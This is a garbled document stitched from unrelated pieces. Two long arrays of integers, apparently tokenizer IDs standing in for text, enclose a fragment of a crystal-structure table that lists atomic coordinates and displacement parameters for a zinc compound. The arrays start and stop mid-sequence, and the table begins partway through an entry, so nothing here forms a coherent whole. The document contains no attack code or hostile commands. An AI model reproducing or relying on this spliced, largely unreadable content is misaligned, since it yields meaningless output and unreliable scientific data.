25, 14555, 50268, 17, 15, 21, 33976, 50268, 17, 15, 25814, 3458, 50264, 187, 50276, 36, 746, 50275, 17, 15, 3208, 20450, 313, 1166, 10, 50274, 17, 15, 36208, 1706, 313, 1010, 10, 50274, 17, 15, 3357, 15161, 313, 1047, 10, 50274, 17, 15, 2941, 746, 313, 21, 10, 50267, 187, 50276, 36, 938, 50275, 17, 15, 22, 2787, 1166, 313, 1093, 10, 50274, 17, 15, 3953, 29360, 313, 1010, 10, 50274, 17, 15, 3571, 20438, 313, 1047, 10, 50274, 17, 15, 19634, 24, 313, 21, 10, 50267, 187, 50276, 36, 1797, 50275, 17, 15, 2504, 740, 313, 19, 10, 50272, 17, 15, 26, 2787, 2082, 313, 1093, 10, 50274, 17, 15, 2082, 24137, 313, 1036, 10, 50274, 17, 15, 2125, 1797, 313, 21, 10, 50267, 187, 50276, 41, 1797, 50275, 17, 15, 1839, 2405, 50268, 17, 15, 3953, 2222, 50268, 17, 15, 1549, 2945, 50268, 17, 15, 20812, 3458, 50264, 187, 50276, 36, 1423, 50275, 17, 15, 32296, 25, 313, 19, 10, 50272, 18, 15, 24341, 25, 313, 19, 10, 50272, 17, 15, 24, 2537, 2597, 313, 1093, 10, 50274, 17, 15, 1762, 1610, 313, 22, 10, 50267, 187, 50276, 41, 1423, 50275, 17, 15, 21, 19490, 50268, 18, 15, 17, 31117, 50268, 17, 15, 24, 36630, 50268, 17, 15, 36717, 3458, 50264, 187, 50276, 36, 1508, 50275, 17, 15, 23, 21317, 313, 19, 10, 50272, 18, 15, 740, 3079, 313, 19, 10, 50272, 17, 15, 3507, 15148, 313, 746, 10, 50274, 17, 15, 1762, 3141, 313, 23, 10, 50267, 187, 50276, 41, 1508, 50275, 17, 15, 1540, 1235, 50268, 18, 15, 1010, 3245, 50268, 17, 15, 2055, 1967, 50268, 17, 15, 40490, 3458, 50264, 187, 50276, 36, 1348, 50275, 17, 15, 24, 27122, 313, 19, 10, 50272, 18, 15, 3071, 30349, 313, 746, 10, 50274, 17, 15, 2787, 34237, 313, 1036, 10, 50274, 17, 15, 2125, 4185, 313, 22, 10, 50267, 187, 50276, 41, 1348, 50275, 17, 15, 25, 20070, 50268, 18, 15, 2693, 3121, 50268, 17, 15, 2759, 1099, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1099, 50275, 17, 15, 25, 2270, 3593, 313, 746, 10, 50274, 17, 15, 2357, 14009, 313, 1036, 10, 50274, 17, 15, 2787, 9913, 313, 1047, 10, 50274, 17, 15, 21348, 20, 313, 21, 10, 50267, 187, 50276, 36, 1731, 50275, 17, 15, 4148, 19321, 313, 746, 10, 50274, 17, 15, 47014, 2358, 313, 1036, 10, 50274, 17, 15, 35265, 1229, 313, 1047, 10, 50274, 17, 15, 20151, 26, 313, 21, 10, 50267, 187, 50276, 36, 1630, 50275, 18, 15, 17, 36814, 313, 19, 10, 50272, 17, 15, 2358, 22029, 313, 746, 10, 50274, 17, 15, 33546, 2504, 313, 1036, 10, 50274, 17, 15, 2125, 1967, 313, 22, 10, 50267, 187, 50276, 41, 1630, 50275, 18, 15, 805, 2922, 50268, 17, 15, 2358, 2251, 50268, 17, 15, 25, 25772, 50268, 17, 15, 29160, 3458, 50264, 187, 50276, 36, 1619, 50275, 18, 15, 1036, 1797, 313, 19, 10, 50272, 17, 15, 3571, 17962, 313, 746, 10, 50274, 17, 15, 47082, 2405, 313, 1166, 10, 50274, 17, 15, 1762, 520, 313, 22, 10, 50267, 187, 50276, 41, 1619, 50275, 18, 15, 1508, 4739, 50268, 17, 15, 22, 28315, 50268, 17, 15, 26, 26522, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1717, 50275, 18, 15, 12115, 21, 313, 19, 10, 50272, 17, 15, 49758, 1857, 313, 1093, 10, 50274, 18, 15, 20812, 938, 313, 1036, 10, 50274, 17, 15, 2125, 1438, 313, 22, 10, 50267, 187, 50276, 41, 1717, 50275, 18, 15, 1036, 2787, 50268, 17, 15, 3046, 2385, 50268, 18, 15, 740, 1235, 50268, 17, 15, 30541, 3458, 50264, 187, 50276, 36, 1229, 50275, 18, 15, 5525, 883, 313, 746, 10, 50274, 17, 15, 41309, 1671, 313, 1166, 10, 50274, 18, 15, 25814, 746, 313, 1047, 10, 50274, 17, 15, 17884, 23, 313, 21, 10, 50267, 187, 50276, 41, 1229, 50275, 17, 15, 4148, 1540, 50268, 17, 15, 2251, 1610, 50268, 18, 15, 740, 1867, 50268, 17, 15, 25814, 3458, 50264, 187, 50276, 36, 2405, 50275, 17, 15, 26, 1717, 1010, 313, 1093, 10, 50274, 17, 15, 43809, 3156, 313, 1010, 10, 50274, 17, 15, 39755, 2504, 313, 1012, 10, 50274, 17, 15, 2941, 1237, 313, 21, 10, 50267, 187, 50276, 36, 1237, 50275, 17, 15, 3593, 10655, 313, 746, 10, 50274, 17, 15, 43698, 1525, 313, 1036, 10, 50274, 17, 15, 26, 3566, 1671, 313, 1012, 10, 50274, 17, 15, 2941, 1540, 313, 21, 10, 50267, 187, 50276, 36, 1610, 50275, 17, 15, 3245, 1099, 313, 19, 10, 50272, 17, 15, 43547, 1348, 313, 746, 10, 50274, 18, 15, 18348, 3011, 313, 1036, 10, 50274, 17, 15, 20812, 20, 313, 22, 10, 50267, 187, 50276, 41, 1610, 50275, 17, 15, 26, 15429, 50268, 17, 15, 3953, 2251, 50268, 18, 15, 1762, 1706, 50268, 17, 15, 24341, 3458, 50264, 187, 50276, 36, 1706, 50275, 17, 15, 24, 23558, 313, 20, 10, 50272, 17, 15, 2222, 1237, 313, 19, 10, 50272, 18, 15, 2125, 30920, 313, 746, 10, 50274, 17, 15, 17, 33291, 313, 25, 10, 50267, 187, 50276, 41, 1706, 50275, 17, 15, 24, 28943, 50268, 18, 15, 18092, 25, 50268, 18, 15, 2904, 2031, 50268, 17, 15, 43008, 3458, 50264, 187, 50276, 36, 1671, 50275, 17, 15, 1549, 1857, 313, 20, 10, 50272, 17, 15, 45295, 313, 20, 10, 50272, 18, 15, 520, 3763, 313, 19, 10, 50272, 17, 15, 2922, 1237, 313, 25, 10, 50267, 187, 50276, 41, 1671, 50275, 17, 15, 22, 23926, 50268, 17, 15, 26, 18040, 50268, 18, 15, 2941, 1036, 50268, 17, 15, 42952, 3458, 50264, 187, 50276, 36, 1812, 50275, 17, 15, 3680, 805, 313, 20, 10, 50272, 17, 15, 3121, 1976, 313, 19, 10, 50272, 17, 15, 26, 25805, 313, 19, 10, 50272, 17, 15, 3071, 1047, 313, 23, 10, 50267, 187, 50276, 41, 1812, 50275, 17, 15, 2537, 3566, 50268, 17, 15, 24, 20360, 50268, 17, 15, 26, 30528, 50268, 17, 15, 39768, 3458, 50264, 187, 50276, 36, 1787, 50275, 17, 15, 2358, 1717, 313, 19, 10, 50272, 17, 15, 44941, 3680, 313, 746, 10, 50274, 17, 15, 26, 1839, 1867, 313, 1036, 10, 50274, 17, 15, 19398, 24, 313, 22, 10, 50267, 187, 50276, 36, 1839, 50275, 17, 15, 1540, 40629, 313, 746, 10, 50274, 17, 15, 47507, 1348, 313, 746, 10, 50274, 17, 15, 2597, 26906, 313, 1166, 10, 50274, 17, 15, 2125, 1549, 313, 22, 10, 50267, 187, 50276, 47, 18, 50274, 17, 15, 30311, 2526, 313, 1047, 10, 50274, 17, 15, 35400, 2597, 313, 1012, 10, 50274, 17, 15, 3583, 17015, 313, 883, 10, 50274, 17, 15, 18092, 26, 313, 20, 10, 50267, 187, 50276, 47, 19, 50274, 17, 15, 1967, 29543, 313, 1010, 10, 50274, 17, 15, 49475, 740, 313, 1012, 10, 50274, 17, 15, 42940, 3680, 313, 805, 10, 50274, 17, 15, 20151, 23, 313, 20, 10, 50267, 187, 50276, 48, 18, 50274, 18, 15, 16198, 1093, 313, 1012, 10, 50274, 17, 15, 2055, 38819, 313, 1012, 10, 50274, 17, 15, 40181, 4196, 313, 805, 10, 50274, 17, 15, 1762, 1012, 313, 21, 10, 50267, 187, 50276, 48, 19, 50274, 18, 15, 5523, 1549, 313, 805, 10, 50274, 17, 15, 3953, 20360, 313, 883, 10, 50274, 17, 15, 17615, 4148, 313, 740, 10, 50274, 17, 15, 18832, 21, 313, 20, 10, 50267, 187, 50276, 48, 20, 50274, 17, 15, 4148, 18202, 313, 1012, 10, 50274, 17, 15, 46455, 2270, 313, 1012, 10, 50274, 17, 15, 3208, 17391, 313, 740, 10, 50274, 17, 15, 2125, 1671, 313, 20, 10, 50267, 187, 50276, 48, 21, 50274, 18, 15, 1166, 26338, 313, 1012, 10, 50274, 17, 15, 26, 1093, 1839, 313, 1012, 10, 50274, 17, 15, 2251, 33291, 313, 805, 10, 50274, 17, 15, 2125, 4185, 313, 21, 10, 50267, 187, 50276, 41, 21, 34, 50275, 18, 15, 805, 3507, 50268, 17, 15, 26, 29790, 50268, 17, 15, 23, 39273, 50268, 17, 15, 29631, 3458, 50264, 187, 50276, 48, 22, 50274, 17, 15, 2222, 19042, 313, 1012, 10, 50274, 17, 15, 49830, 1610, 313, 1012, 10, 50274, 17, 15, 50246, 3079, 313, 883, 10, 50274, 17, 15, 21274, 26, 313, 20, 10, 50267, 187, 50276, 48, 23, 50274, 17, 15, 3121, 34305, 313, 1047, 10, 50274, 17, 15, 3655, 19196, 313, 1012, 10, 50274, 17, 15, 3566, 17306, 313, 883, 10, 50274, 17, 15, 2125, 4196, 313, 21, 10, 50267, 187, 50276, 48, 24, 50274, 17, 15, 2358, 21645, 313, 1036, 10, 50274, 17, 15, 38070, 2405, 313, 1012, 10, 50274, 17, 15, 2787, 31110, 313, 805, 10, 50274, 17, 15, 1762, 740, 313, 21, 10, 50267, 187, 50276, 41, 24, 50274, 17, 15, 1967, 1438, 50268, 17, 15, 23, 22179, 50268, 17, 15, 3141, 938, 50268, 17, 15, 41923, 3458, 50264, 187, 50276, 48, 25, 50274, 17, 15, 3680, 35179, 313, 1166, 10, 50274, 17, 15, 19233, 1976, 313, 1166, 10, 50274, 17, 15, 25, 2222, 1166, 313, 1047, 10, 50274, 17, 15, 17, 28883, 313, 22, 10, 50267, 187, 50276, 7040, 18592, 18592, 18592, 23784, 1969, 187, 187, 3404, 4986, 16837, 3602, 313, 18221, 63, 19, 13146, 1712, 2420, 13585, 324, 793, 94, 187, 4578, 43024, 535, 50276, 7040, 16913, 16913, 16913, 18592, 16913, 16913, 187, 50270, 11, 54, 8769, 883, 63, 50270, 11, 54, 8769, 1423, 63, 50270, 11, 54, 8769, 1610, 63, 50270, 11, 54, 8769, 805, 63, 50269, 11, 54, 8769, 1012, 63, 50270, 11, 54, 8769, 1508, 63, 187, 50276, 30785, 18, 50275, 17, 15, 14521, 1540, 313, 1010, 10, 50275, 17, 15, 22439, 2222, 313, 1010, 10, 50275, 17, 15, 20151, 2227, 313, 1010, 10, 50275, 2106, 17, 15, 933, 1348, 313, 740, 10, 50275, 17, 15, 361, 36814, 313, 740, 10, 50275, 17, 15, 520, 19630, 313, 740, 10, 187, 50276, 36, 18, 50274, 17, 15, 18348, 24, 313, 26, 10, 50273, 17, 15, 20151, 22, 313, 26, 10, 50273, 17, 15, 20826, 18, 313, 26, 10, 50273, 17, 15, 361, 2537, 313, 24, 10, 50272, 17, 15, 520, 3566, 313, 25, 10, 50273, 17, 15, 46744, 313, 24, 10, 187, 50276, 36, 19, 50274, 17, 15, 2941, 740, 313, 26, 10, 50273, 17, 15, 20151, 21, 313, 26, 10, 50273, 17, 15, 18092, 24, 313, 26, 10, 50273, 17, 15, 361, 2385, 313, 24, 10, 50272, 17, 15, 520, 3121, 313, 24, 10, 50273, 17, 15, 361, 4590, 313, 24, 10, 187, 50276, 36, 20, 50274, 17, 15, 21348, 18, 313, 740, 10, 50274, 17, 15, 2125, 1797, 313, 740, 10, 50274, 17, 15, 20570, 20, 313, 26, 10, 50273, 17, 15, 39060, 313, 25, 10, 50272, 17, 15, 520, 3583, 313, 25, 10, 50273, 17, 15, 520, 938, 313, 25, 10, 187, 50276, 36, 21, 50274, 17, 15, 20826, 26, 313, 883, 10, 50274, 17, 15, 1762, 1717, 313, 805, 10, 50274, 17, 15, 2941, 1449, 313, 740, 10, 50274, 2106, 17, 15, 45701, 313, 26, 10, 50273, 17, 15, 520, 1348, 313, 25, 10, 50273, 17, 15, 361, 2526, 313, 25, 10, 187, 50276, 36, 22, 50274, 17, 15, 21274, 26, 313, 805, 10, 50274, 17, 15, 18832, 18, 313, 740, 10, 50274, 17, 15 ]

258 (15) 0.0418 (4) H15 0.7471 0.7338 0.4242 0.050\* C16 0.5473 (2) 0.68971 (19) 0.35408 (16) 0.0478 (5) H16 0.5443 0.6338 0.2939 0.057\* C17 0.4306 (2) 0.71328 (19) 0.36542 (16) 0.0475 (5) H17 0.3474 0.6733 0.3131 0.057\* C18 0.43798 (18) 0.79707 (18) 0.45546 (15) 0.0410 (4) H18 0.3598 0.8147 0.4641 0.049\* C19 0.56275 (17) 0.85434 (15) 0.53254 (14) 0.0319 (4) C20 0.57917 (18) 0.94393 (15) 0.63252 (14) 0.0327 (4) C21 0.4710 (2) 0.97965 (18) 0.65380 (16) 0.0421 (4) H21 0.3831 0.9495 0.6042 0.050\* C22 0.4958 (2) 1.0608 (2) 0.74987 (18) 0.0533 (5) H22 0.4245 1.0858 0.7661 0.064\* C23 0.6265 (2) 1.1043 (2) 0.82138 (19) 0.0578 (6) H23 0.6450 1.1583 0.8870 0.069\* C24 0.7292 (2) 1.06703 (19) 0.79452 (16) 0.0498 (5) H24 0.8178 1.0976 0.8425 0.060\* C25 0.89081 (19) 0.77209 (16) 0.79160 (14) 0.0363 (4) C26 0.97304 (19) 0.72768 (16) 0.88630 (14) 0.0359 (4) C27 1.0903 (2) 0.68258 (19) 0.88947 (16) 0.0470 (5) H27 1.1207 0.6867 0.8366 0.056\* C28 1.1621 (2) 0.63166 (19) 0.97031 (17) 0.0501 (5) H28 1.2391 0.5997 0.9707 0.060\* C29 1.1194 (2) 0.62845 (18) 1.05020 (16) 0.0480 (5) H29 1.1679 0.5948 1.1050 0.058\* C30 1.00411 (19) 0.67535 (17) 1.04919 (14) 0.0406 (4) H30 0.9764 0.6733 1.1039 0.049\* C31 0.92915 (18) 0.72541 (15) 0.96747 (13) 0.0332 (4) C32 0.81105 (19) 0.78099 (16) 0.97435 (13) 0.0364 (4) C33 0.8325 (2) 0.90124 (19) 1.02957 (16) 0.0503 (5) H33 0.9165 0.9467 1.0534 0.060\* C34 0.7298 (3) 0.9532 (2) 1.04906 (19) 0.0693 (8) H34 0.7447 1.0338 1.0844 0.083\* C35 0.6045 (3) 0.8859 (3) 1.0162 (2) 0.0732 (8) H35 0.5368 0.9206 1.0316 0.088\* C36 0.5812 (3) 0.7675 (2) 0.9608 (2) 0.0614 (6) H36 0.4974 0.7223 0.9383 0.074\* C37 0.6829 (2) 0.71558 (19) 0.93839 (16) 0.0447 (5) C38 0.64762 (19) 0.58724 (19) 0.87503 (17) 0.0460 (5) N1 0.67766 (14) 0.83087 (13) 0.52131 (11) 0.0339 (3) N2 0.70656 (15) 0.98810 (13) 0.70158 (12) 0.0356 (3) O1 1.15618 (13) 0.88852 (13) 0.43496 (12) 0.0513 (4) O2 1.00560 (12) 0.94223 (11) 0.30197 (10) 0.0394 (3) O3 0.97207 (13) 0.81690 (13) 0.56208 (10) 0.0435 (3) O4 1.17363 (13) 0.91838 (13) 0.67693 (12) 0.0498 (4) H4A 1.1282 0.9697 0.6883 0.075\* O5 0.95305 (13) 0.84733 (13) 0.76743 (11) 0.0459 (3) O6 0.76884 (14) 0.73196 (13) 0.74187 (11) 0.0496 (4) O7 0.68307 (16) 0.55831 (13) 0.79382 (12) 0.0510 (4) H7 0.7080 0.6191 0.7820 0.076\* O8 0.58752 (17) 0.51275 (17) 0.89517 (14) 0.0684 (5) ----- --------------- --------------- --------------- -------------------- -- Atomic displacement parameters (Å^2^) {#tablewrapadps} ===================================== ----- -------------- -------------- -------------- --------------- -------------- -------------- *U*^11^ *U*^22^ *U*^33^ *U*^12^ *U*^13^ *U*^23^ Zn1 0.02564 (15) 0.03895 (15) 0.03585 (15) −0.00024 (10) 0.00903 (10) 0.01293 (10) C1 0.0297 (9) 0.0355 (9) 0.0371 (9) 0.0049 (7) 0.0174 (8) 0.0115 (7) C2 0.0310 (9) 0.0354 (9) 0.0337 (9) 0.0048 (7) 0.0176 (7) 0.0093 (7) C3 0.0361 (10) 0.0421 (10) 0.0343 (9) 0.0021 (8) 0.0152 (8) 0.0120 (8) C4 0.0379 (11) 0.0529 (12) 0.0340 (10) −0.0039 (9) 0.0124 (8) 0.0066 (8) C5 0.0459 (12) 0.0391 (10) 0.

[ 3290, 273, 634, 3186, 3948, 13757, 15, 380, 40534, 505, 30278, 15191, 7729, 28329, 281, 3630, 1805, 2600, 407, 970, 36408, 638, 17920, 326, 921, 752, 247, 1501, 326, 588, 320, 3863, 588, 1007, 751, 275, 634, 3186, 1543, 15, 831, 588, 1361, 368, 7617, 1880, 634, 4060, 310, 253, 1463, 2978, 390, 604, 634, 30680, 5740, 2789, 3282, 275, 253, 3634, 273, 253, 3186, 906, 15, 733, 671, 7729, 368, 342, 3239, 1783, 15, 22006, 13175, 12255, 1007, 323, 3888, 390, 2505, 275, 634, 1501, 326, 4428, 2770, 28731, 323, 326, 1501, 285, 12255, 281, 5416, 326, 597, 403, 1048, 2217, 15, 380, 767, 28437, 5678, 1056, 2119, 326, 368, 452, 253, 1511, 273, 2600, 326, 3186, 14917, 1089, 13, 1007, 387, 49148, 285, 1918, 368, 247, 2169, 19947, 347, 247, 906, 15, 14566, 841, 28437, 323, 634, 31198, 4422, 588, 564, 247, 1048, 1039, 281, 923, 281, 352, 326, 368, 403, 12724, 19947, 285, 4804, 253, 12656, 273, 8573, 4212, 275, 634, 25803, 15, 187, 187, 17664, 556, 4102, 13207, 281, 21854, 14248, 326, 452, 644, 27662, 18325, 15, 831, 512, 14, 249, 14, 531, 896, 4492, 285, 18536, 2505, 1783, 13, 896, 4492, 8570, 285, 8667, 4968, 7729, 368, 3297, 327, 1755, 273, 752, 5559, 310, 2509, 281, 1978, 2806, 33054, 5609, 285, 28960, 745, 273, 253, 8573, 15, 831, 2670, 588, 1361, 368, 342, 667, 689, 13757, 3374, 326, 368, 1537, 452, 15, 380, 5386, 2802, 358, 4968, 310, 908, 281, 4271, 18536, 2505, 9991, 1561, 634, 2670, 15, 1310, 368, 403, 387, 2495, 323, 18536, 2505, 689, 13757, 13, 970, 436, 2670, 588, 2624, 896, 327, 326, 407, 11922, 896, 23053, 326, 403, 970, 2173, 18536, 17438, 326, 403, 8479, 5559, 281, 7908, 634, 4422, 15, 380, 1881, 14, 2135, 4492, 8570, 4968, 14935, 368, 476, 6016, 954, 273, 253, 32140, 4834, 13, 407, 1146, 2104, 281, 12106, 634, 896, 23053, 13, 562, 45017, 281, 4384, 6681, 1336, 285, 13474, 272, 253, 1543, 275, 45584, 830, 15, 380, 20910, 323, 436, 3694, 310, 370, 21361, 323, 247, 12702, 2395, 13, 370, 1525, 591, 1770, 323, 581, 2670, 13, 285, 370, 25, 1525, 247, 1770, 323, 271, 6757, 21729, 970, 689, 3578, 14248, 15, 187, 187, 1552, 3929, 327, 3491, 22934, 15, 681, 310, 512, 670, 4758, 598, 247, 31198, 2670, 326, 588, 755, 368, 8344, 407, 512, 273, 253, 3909, 3186, 14917, 15, 733, 4566, 715, 2508, 670, 849, 28731, 403, 15726, 407, 5559, 846, 616, 42151, 19014, 285, 268, 7447, 11269, 15, 3932, 253, 11269, 13, 627, 403, 642, 3356, 667, 5373, 281, 816, 46023, 28731, 715, 634, 7774, 390, 24960, 15, 733, 12088, 670, 849, 281, 1056, 4217, 2600, 323, 952, 13, 347, 10066, 281, 3186, 14917, 13, 534, 588, 452, 731, 14707, 281, 3297, 327, 634, 2670, 3356, 285, 1014, 1705, 896, 281, 352, 1996, 15, 831, 310, 1633, 326, 13, 417, 760, 323, 31198, 4212, 13, 533, 1046, 4384, 11717, 476, 5649, 15, 14736, 3948, 13757, 310, 247, 5859, 326, 672, 908, 6283, 476, 1056, 5699, 16274, 327, 253, 23114, 273, 634, 4422, 15, 1198, 1110, 6110, 275, 4715, 849, 281, 873, 598, 271, 30278, 14, 19771, 31198, 1293, 20252, 247, 5702, 13, 436, 3929, 310, 7964, 4409, 253, 1239, 15, 187, 187, 23021, 28094, 7447, 556, 271, 7126, 3929, 27855, 281, 3186, 3948, 13757, 18879, 13, 773, 2354, 48, 24866, 432, 42801, 1903, 38857, 15435, 16638, 32560, 15, 831, 3929, 12088, 670, 849, 281, 897, 5559, 2006, 40779, 23473, 4968, 281, 6635, 747, 28731, 285, 3630, 9319, 342, 2600, 326, 6780, 253, 954, 3261, 598, 12989, 15, 3900, 436, 651, 1646, 751, 247, 2969, 2181, 281, 513, 13, 39670, 290, 1022, 752, 7637, 598, 9369, 310, 326, 952, 3772, 366, 616, 28731, 3185, 273, 3192, 253, 673, 281, 2486, 23357, 3000, 390, 25491, 326, 403, 16293, 281, 755, 6849, 15, 38733, 436, 13542, 310, 753, 281, 320, 2104, 281, 1756, 634, 1859, 4249, 407, 247, 1534, 8459, 15, 380, 2488, 4245, 271, 1650, 273, 247, 2136, 7302, 665, 9716, 253, 12616, 346, 41, 8912, 9673, 270, 25864, 8364, 3, 323, 816, 762, 370, 26, 13, 574, 247, 8406, 1705, 598, 342, 253, 2600, 323, 370, 2313, 285, 9142, 1160, 6763, 273, 8918, 275, 6224, 1475, 326, 2014, 1885, 15, 1876, 344, 574, 281, 513, 369, 1089, 562, 752, 28731, 651, 320, 253, 954, 27834, 323, 779, 15, 187, 187, 1552, 30278, 3491, 310, 625, 685, 816, 670, 1907, 28731, 285, 2970, 13052, 390, 851, 664, 1507, 15, 380, 4736, 273, 436, 8406, 310, 281, 755, 368, 281, 2096, 326, 253, 954, 1774, 629, 273, 21896, 1859, 4249, 275, 271, 3909, 4758, 13, 310, 281, 1705, 562, 342, 11485, 1175, 2600, 15, 1500, 24631, 253, 6349, 273, 6240, 1318, 281, 253, 9414, 273, 634, 7774, 13, 534, 476, 320, 2218, 407, 1907, 271, 21383, 3640, 273, 634, 9400, 15, 1310, 368, 513, 417, 452, 1270, 3640, 327, 253, 9400, 281, 320, 5469, 840, 2561, 588, 320, 247, 1364, 15, 1500, 671, 24631, 1907, 247, 4451, 285, 5352, 1379, 390, 8668, 327, 1841, 1128, 3088, 417, 816, 810, 3922, 17255, 1633, 326, 11648, 2010, 556, 2168, 753, 15, 3900, 954, 273, 436, 3929, 556, 1077, 1652, 281, 513, 342, 3186, 3948, 13757, 13, 627, 310, 581, 2170, 273, 352, 326, 703, 24631, 1128, 3529, 310, 253, 4060, 15, 1500, 7211, 326, 5096, 2558, 273, 253, 952, 665, 588, 1705, 2439, 271, 3929, 588, 417, 1014, 1056, 352, 2469, 253, 4060, 13, 2403, 253, 4060, 273, 634, 1501, 9084, 595, 1774, 15, 15594, 13, 436, 1501, 2506, 626, 1663, 2312, 670, 30278, 13, 533, 4536, 359, 878, 281, 320, 17328, 273, 2969, 1841, 751, 841, 281, 3297, 327, 1755, 273, 776, 2165, 15, 187, 187, 1552, 310, 247, 1175, 3929, 432, 8223, 15, 681, 27321, 849, 281, 4541, 6351, 8981, 407, 3186, 14917, 15, 14736, 14917, 403, 11658, 407, 11333, 28, 841, 11333, 403, 8127, 39460, 407, 849, 952, 403, 18745, 342, 4375, 327, 253, 4384, 15, 1310, 11853, 4453, 1633, 598, 327, 10550, 13, 352, 310, 2779, 326, 597, 588, 3135, 6523, 16557, 323, 326, 1885, 327, 2067, 643, 7223, 15, 380, 2488, 4648, 326, 958, 281, 1056, 253, 1127, 326, 13, 1146, 2326, 407, 5559, 434, 11333, 310, 9648, 3477, 594, 581, 943, 417, 4073, 1512, 1199, 670, 752, 310, 2424, 273, 3297, 6386, 15, 7820, 13, 752, 368, 943, 320, 8133, 954, 273, 634, 3434, 715, 310, 253, 952, 665, 588, 320, 4560, 634, 2600, 15, 754, 2296, 326, 760, 1884, 281, 2456, 2558, 273, 634, 2670, 434, 7137, 943, 320, 3551, 432, 3186, 13, 253, 1551, 273, 352, 943, 320, 432, 952, 665, 10879, 634, 2670, 984, 273, 253, 1318, 352, 11323, 281, 616, 4852, 15, 187, 187, 2354, 48, 310, 417, 816, 1633, 326, 310, 2218, 745, 253, 39020, 1128, 9088, 3198, 281, 320, 247, 2098, 9009, 326, 368, 588, 956, 15, 38733, 436, 11359, 368, 327, 3540, 347, 973, 347, 7729, 368, 281, 923, 835, 368, 403, 3576, 285, 835, 368, 878, 281, 3157, 15, 16527, 91, 2123, 316, 310, 417, 816, 247, 3694, 2567, 13, 15435, 16638, 32560, 671, 16681, 30278, 12192, 285, 24866, 323, 37735, 285, 3694, 4413, 15, 187, 187, 10287, 992, 280, 30278, 323, 11075, 8777, 15, 831, 3929, 310, 670, 253, 5700, 3206, 275, 3186, 3948, 13757, 275, 20500, 4413, 15, 5595, 30278, 22591, 41714, 562, 253, 21041, 273, 39793, 323, 3909, 3186, 14917, 13, 533, 436, 3929, 11424, 253, 3064, 875, 326, 285, 1907, 247, 5700, 273, 672, 285, 835, 281, 2126, 253, 21041, 326, 403, 3206, 275, 3186, 3948, 13757, 15, 380, 2488, 4566, 715, 4278, 13, 387, 1270, 2978, 13, 670, 849, 285, 2139, 30278, 310, 1027, 323, 37735, 685, 352, 310, 323, 2168, 4232, 4375, 326, 452, 5312, 7137, 3551, 715, 731, 15, 754, 671, 36264, 690, 273, 253, 5373, 273, 1146, 247, 20500, 30278, 15, 3032, 5352, 1379, 13, 347, 973, 347, 521, 9470, 3640, 327, 253, 2256, 1056, 436, 271, 7126, 285, 27096, 1239, 323, 1110, 6110, 275, 25251, 390, 43124, 616, 20500, 15, 187, 187, 2354, 48, 323, 9107, 32705, 15, 831, 3929, 310, 48526, 4404, 3186, 3948, 13757, 323, 3694, 4413, 15, 15435, 16638, 32560, 310, 581, 273, 253, 954, 973, 22694, 15547, 275, 253, 1673, 273, 3186, 3948, 13757, 285, 275, 436, 3929, 344, 4245, 38089, 7535, 281, 3694, 4413, 11762, 15, 754, 556, 7478, 326, 581, 273, 253, 2014, 6459, 3237, 310, 326, 4413, 403, 417, 4933, 616, 4422, 253, 1072, 1511, 273, 4116, 326, 597, 403, 4933, 616, 3694, 15, 38733, 436, 2297, 684, 512, 273, 253, 1270, 1841, 326, 634, 3694, 476, 513, 323, 952, 13, 3365, 984, 352, 310, 417, 1146, 2326, 407, 13893, 8548, 15, 6975, 667, 1175, 1895, 47037, 13, 846, 16638, 32560, 22649, 253, 1895, 344, 12453, 849, 281, 8415, 352, 15, 30278, 323, 9107, 32705, 310, 247, 1364, 14, 1088, 323, 667, 2567, 1128, 1439, 816, 3694, 4413, 1907, 12748, 342, 2970, 2326, 3909, 15, 187, 187, 46565, 19399, 844, 37722, 12088, 670, 14736, 10797, 12551, 27996, 285, 6131, 2067, 12192, 327, 849, 281, 320, 5547, 387, 352, 15, 380, 2201, 3064, 875, 521, 3929, 285, 690, 273, 253, 643, 4394, 359, 452, 3786, 5469, 310, 326, 344, 4566, 973, 4457, 5044, 30278, 15, 754, 4245, 247, 12861, 8668, 285, 9437, 281, 2953, 1774, 3374, 1223, 9159, 247, 2900, 281, 1110, 3374, 15, 496, 521, 13418, 13, 6024, 4859, 390, 313, 29016, 10, 2505, 310, 253, 954, 1774, 2803, 275, 1146, 2326, 407, 5559, 15, 754, 6131, 1491, 327, 849, 281, 16270, 1029, 14, 15177, 18536, 2505, 13, 285, 671, 5936, 1529, 35604, 784, 5700, 15, 3032, 12494, 327, 849, 281, 16584, 5261, 18145, 310, 247, 4451, 1039, 281, 755, 6386, 273, 634, 7324, 15, 844, 37722, 6131, 670, 1458, 390, 1668, 625, 9371, 12192, 281, 4384, 6681, 1336, 327, 253, 9400, 273, 3186, 3948, 13757, 15, 831, 310, 2568, 1529, 8521, 3929, 323, 3780, 14707, 281, 16463, 598, 327, 616, 30278, 6936, 15, 187, 187, 1552, 5311, 432, 10135, 45037, 15, 681, 12088, 670, 299, 14, 32248, 3186, 3948, 13757, 15, 25299, 272, 2169, 685, 634, 7324, 1057, 327, 3186, 14917, 310, 1900, 247, 1364, 13, 533, 627, 778, 417, 320, 247, 1659, 3909, 835, 352, 310, 625, 1774, 685, 275, 299, 14, 32248, 15, 19296, 670, 352, 13, 604, 368, 5559, 40864, 12682, 368, 403, 3164, 1469, 323, 253, 806, 13, 5046, 253, 1273, 3048, 368, 923, 15, 1310, 634, 1885, 3548, 626, 581, 273, 253, 1077, 806, 32773, 598, 672, 12203, 323, 1633, 840, 368, 2779, 1912, 626, 755, 667, 2136, 15, 831, 3929, 6131, 3186, 3948, 13757, 12192, 323, 43240, 13, 10444, 13, 285, 1014, 6485, 4384, 6681, 1336, 281, 1691, 281, 897, 15, 380, 2488, 3054, 326, 253, 2201, 2234, 281, 1146, 17045, 4122, 323, 299, 14, 32248, 310, 281, 2561, 253, 954, 3576, 28731, 323, 634, 1885, 285, 281, 45661, 28731, 323, 5311, 12989, 15, 733, 4566, 715, 2508, 281, 921, 368, 849, 281, 513, 436, 275, 253, 3929, 15, 28218, 907, 253, 12192, 275, 436, 7102, 281, 1056, 2119, 326, 368, 403, 46875, 253, 2442, 273, 634, 3909, 4657, 15, 187, 187, 1773, 1586, 272, 12085, 3186, 3948, 13757, 3820, 953, 310, 4217, 323, 1046, 1268, 4384, 11717, 15, 35116, 30278, 3820, 953, 588, 1361, 368, 6558, 271, 5024, 689, 512, 1110, 275, 634, 4491, 665, 403, 417, 14596, 598, 14, 936, 14, 2754, 342, 616, 1211, 13757, 285, 253, 2455, 6890, 11333, 2424, 323, 30278, 15, 380, 2488, 273, 436, 